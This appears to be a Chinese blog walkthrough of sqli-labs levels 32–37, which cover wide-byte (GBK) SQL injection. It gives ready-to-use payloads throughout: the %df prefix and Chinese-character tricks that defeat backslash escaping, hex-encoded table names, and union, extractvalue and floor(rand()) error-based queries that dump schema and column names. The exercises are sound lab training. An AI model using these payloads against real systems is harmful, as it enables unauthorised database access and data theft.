美文网首页
sqli-labs level32-37 宽字节注入

sqli-labs level32-37 宽字节注入

作者: z1挂东南 | 来源:发表于2019-08-05 12:09 被阅读0次

    宽字节条件:前端UTF-8,数据库GBK,在特殊字符前加反斜杠转义。
    利用方法:在注入语句的特殊字符前加%df消除反斜杠。

    第三十二关

    宽字节注入,单引号闭合。
    数据库:
    ?id=1.1%df' union select 1,2,group_concat(schema_name) from information_schema.schemata --+
    数据表:
    ?id=1.1%df' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
    这里再多说一下字段名,因为查询字段的时候要有where table_name=’user’,注意,user用引号括起来,但是会被转义:

    1.png

    加%df消除括号呢:


    2.png

    还是不行,因为没有表叫user�\。所以这里要把表名转换成16进制进行绕过(转换之前不用加引号,只转换表名就好了),然后写注入语句的时候在16进制的表名前再加个0x,user转换成16进制是75736572。
    字段名:
    ?id=1.1%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x75736572 --+

    3.png

    第三十三关

    做法和32关完全一样,也是单引号闭合。32和33有什么区别呢?32关在特殊字符前加反斜杠是使用正则表达式实现的,33关是使用addslashes()函数实现的。


    4.png

    数据库名:
    ?id=1.1%df' and extractvalue(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e) ) --+
    字段名:
    ?id=1.1%df' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=0x75736572),0x7e) ) --+

    第三十四关

    这是个POST表单,万能密码,依然用%df消除反斜杠。


    5.png

    发现并没有消除反斜杠,抓个包看一下:


    6.png

    这里不能用%df消除反斜杠了,尝试用汉字消除反斜杠试试:


    7.png

    发现汉字可以,接下来的方法就和POST注入一样了。
    数据库名:
    uname=桑' and extractvalue(1,concat(0x7e,(select database()),0x7e)) #&passwd=&submit=Submit
    字段名:
    uname=桑' union select 1,group_concat(column_name) from information_schema.columns where table_name=0x75736572 #&passwd=&submit=Submit

    8.png

    第三十五关

    整数型,不用闭合直接注入。
    数据库名:
    ?id=1.1 union select 1,count(*),concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),floor(rand(14)*2),0x7e)a from information_schema.tables group by a --+
    字段名:
    ?id=1.1 union select 1,count(*),concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=0x75736572),floor(rand(14)*2),0x7e)a from information_schema.tables group by a --+

    9.png

    第三十六关

    使用了mysql_real_escape_string()函数,多过滤一些东西,但是对于注入语句来说没什么影响,和32关做法一模一样,单引号闭合,注入语句都一样。


    10.png

    第三十七关

    36关的POST形式,同样使用mysql_real_escape_string()函数过滤,不过同样对于我们的注入语句没什么影响。单引号闭合,%df不能消除反斜杠,还是要用汉字,参考第34关,注入语句一模一样。

    相关文章

      网友评论

          本文标题:sqli-labs level32-37 宽字节注入

          本文链接:https://www.haomeiwen.com/subject/uygpdctx.html